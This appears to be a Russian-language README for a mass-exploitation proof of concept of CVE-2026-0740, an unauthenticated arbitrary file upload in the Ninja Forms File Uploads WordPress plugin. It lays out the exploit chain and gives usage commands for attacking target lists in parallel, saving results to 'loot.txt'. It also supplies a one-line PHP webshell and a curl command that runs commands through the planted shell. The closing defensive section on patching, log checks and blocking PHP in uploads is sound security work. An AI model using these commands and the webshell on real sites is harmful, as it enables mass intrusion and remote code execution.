
PoC для CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Неаутентифицированная произвольная загрузка файлов, которая может привести к RCE.
Автор: 0xNuts
Соавтор: Cursor
Репозиторий: https://github.com/ExDev994/CVE-2026-0740-mass
PoC для CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Неаутентифицированная произвольная загрузка файлов, что может привести к RCE.
Уязвимость изначально обнаружена Sélim Lanouar (@whattheslime). Массовый PoC-движок разработан 0xNuts при содействии Cursor.
Этот репозиторий предоставляется только для исследований безопасности и защитных целей (авторизованное тестирование на проникновение, red team с письменного разрешения, проверка патчей и усиление защиты).
Плагин Ninja Forms - File Uploads для WordPress уязвим к неаутентифицированной произвольной загрузке файлов во всех версиях до 3.3.26 (включительно).
Цепочка эксплуатации:
nf_fu_get_new_nonce с произвольным field_id.nf_fu_upload проверяет расширение загружаемого файла (например, image.jpg), но злоумышленник может переопределить имя целевого файла через параметр POST (image_jpg).move_uploaded_file() без надлежащей санитарии → произвольное расширение + path traversal (../).Полный патч доступен в версии 3.3.27+.
Этот репозиторий содержит только CVE-2026-0740.py и README.md. Установите зависимости вручную:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
Примечание: Необходимо использовать ровно один из -t или -f.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
С явным path traversal:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
Создайте файл target.txt:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
Запустите:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
С настройкой worker'ов и файла результатов:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
URL успешно загруженных shell будут записаны в файл результатов (режим добавления).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
После успешной загрузки скрипт покажет URL shell. Проверка (только на лабораторных/авторизованных целях):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Немедленно обновите Ninja Forms - File Uploads до версии 3.3.27 или новее.
Ninja Forms - File UploadsПосле обновления:
wp-admin/admin-ajax.php с действием nf_fu_get_new_nonce / nf_fu_upload — произвольная загрузка должна быть отклоненаПроверьте каталоги загрузки WordPress:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
Ищите посторонние файлы: .php, .pht, .phtml, .phar, .html, .svg, .js, которых не должно быть.
Также проверьте журналы веб-сервера на предмет запросов к:
/wp-admin/admin-ajax.php
с параметрами action=nf_fu_get_new_nonce или action=nf_fu_upload.
WAF / ограничение скорости на /wp-admin/admin-ajax.php для блокировки массовой загрузки
Отключите выполнение PHP в каталоге wp-content/uploads/ через конфигурацию веб-сервера:
Apache (.htaccess в uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Минимальные привилегии: убедитесь, что права на файлы загрузки не позволяют веб-серверу записывать за пределы необходимых каталогов
Мониторинг: оповещайте о POST-запросах к admin-ajax.php с действиями nf_fu_* с незнакомых IP или при высоком объеме
Резервное копирование и реагирование на инциденты: если найдены IoC, изолируйте сайт, смените учетные данные БД/администратора, проверьте другие плагины/темы
Отключите и удалите плагин Ninja Forms - File Uploads, если функция загрузки не нужна.
| Вектор / Расширение | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| Флаг | Функция |
|---|
-t, --target | Одиночная цель (один URL) |
-f, --targets-file | Файл .txt со списком целей (один URL на строку) |
--shell | Загружаемый payload/webshell (обязательно) |
-d, --dest | Целевой path traversal (по умолчанию: ../../../) |
-w, --workers | Количество параллельных потоков (по умолчанию: 20) |
-o, --output | Файл результатов для URL успешных shell (по умолчанию: results.txt) |
-x, --proxy | HTTP-прокси (например, http://127.0.0.1:8080) |
-H, --headers | Пользовательские заголовки (формат: 'Header: Value') |
--timeout | Таймаут HTTP в секундах (по умолчанию: 10) |